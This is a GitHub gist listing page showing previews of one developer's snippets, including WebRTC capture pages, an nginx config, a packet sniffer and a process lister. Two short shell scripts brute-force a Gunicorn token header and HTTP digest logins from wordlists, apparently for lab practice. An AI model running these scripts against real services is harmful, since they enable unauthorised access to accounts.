Skip to content

Instantly share code, notes, and snippets.

View tbhaxor's full-sized avatar
👨‍🚀
Exploring nature beyond Kármán line

Gurkirat Singh tbhaxor

👨‍🚀
Exploring nature beyond Kármán line
View GitHub Profile
@tbhaxor
tbhaxor / alias.diff
Created April 21, 2021 23:39
Bashit Alias Plugin Diff
--- /tmp/alias_completion-24679HnwBXq 2021-04-22 05:02:47.842921363 +0530
+++ /home/terabyte/.bash_it/plugins/available/alias-completion.plugin.bash 2021-04-22 05:02:46.726252452 +0530
@@ -1,2424 +1,106 @@
-function _alias_completion::- {
- local compl_word=$2
- local prec_word=$3
- # check if prec_word is the alias itself. if so, replace it
- # with the last word in the unaliased form, i.e.,
- # alias_cmd + ' ' + alias_args.
- if [[ $COMP_LINE == "$prec_word $compl_word" ]]; then
@tbhaxor
tbhaxor / app.sh
Created March 24, 2021 23:23
Gunicorn token authentication
cat $1 | while read TOKEN; do
content=$(curl -s -H "Authorization: Token $TOKEN" $2)
if echo $content | grep -qi unauth; then continue
else echo $content; break; exit 0
fi
done
@tbhaxor
tbhaxor / app.sh
Created March 24, 2021 22:56
Gunicorn digest bruteforce script
cat $1 | while read USER; do
cat $2 | while read PASSWORD; do
if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
then
continue
else
echo [+] Found $USER:$PASSWORD
exit 0
fi
done
@tbhaxor
tbhaxor / Laravel.conf
Created January 6, 2021 11:03
Laravel
server {
listen 80;
server_name example.com;
root /srv/example.com/public;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Content-Type-Options "nosniff";
index index.php;
void main() {
for (int i = 0; i < 5; i++) {
print('hello world ${i + 1}');
}
}
@tbhaxor
tbhaxor / capture-profile-pic.html
Created April 10, 2020 13:32
Capture profile pic from webcam using WebRTC Media API
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Capture Profile Pic</title>
<script src="https://webrtc.github.io/adapter/adapter-latest.js"></script>
<style>
video {
max-width: 240px;
@tbhaxor
tbhaxor / capture-video-and-audio.html
Created April 10, 2020 13:30
Capture Video and Audio in Single Browser via WebRTC Media API
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Capture Video and Audio</title>
<script src="https://webrtc.github.io/adapter/adapter-latest.js"></script>
</head>
<body>
from PyQt5 import QtWidgets, QtCore
from ui import Ui_MainWindow
from selenium.webdriver.chrome.webdriver import WebDriver
from selenium.webdriver.chrome.options import Options
import os
import traceback
import pickle as pkl
from pathlib import Path
from typing import List, Dict, Union
@tbhaxor
tbhaxor / proclist.cpp
Created February 24, 2020 05:36
Process listing api
#include <stdio.h>
#include <Windows.h>
#include <WtsApi32.h> // for process enumerations
#include <tchar.h>
#include <sddl.h>
#include "Source.h"
#define MAX_ACC_NAME 1000
#define MAX_DOM_NAME 1000
@tbhaxor
tbhaxor / packet_sniffer.py
Last active December 3, 2019 14:31
Simple ICMP Packet Sniffer
import os
import socket
from argparse import ArgumentParser, RawDescriptionHelpFormatter
# configuring the argument
parser = ArgumentParser(description="host discovery tool",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("--host",
help="hostname to bind",
metavar="HOSTNAME/IP",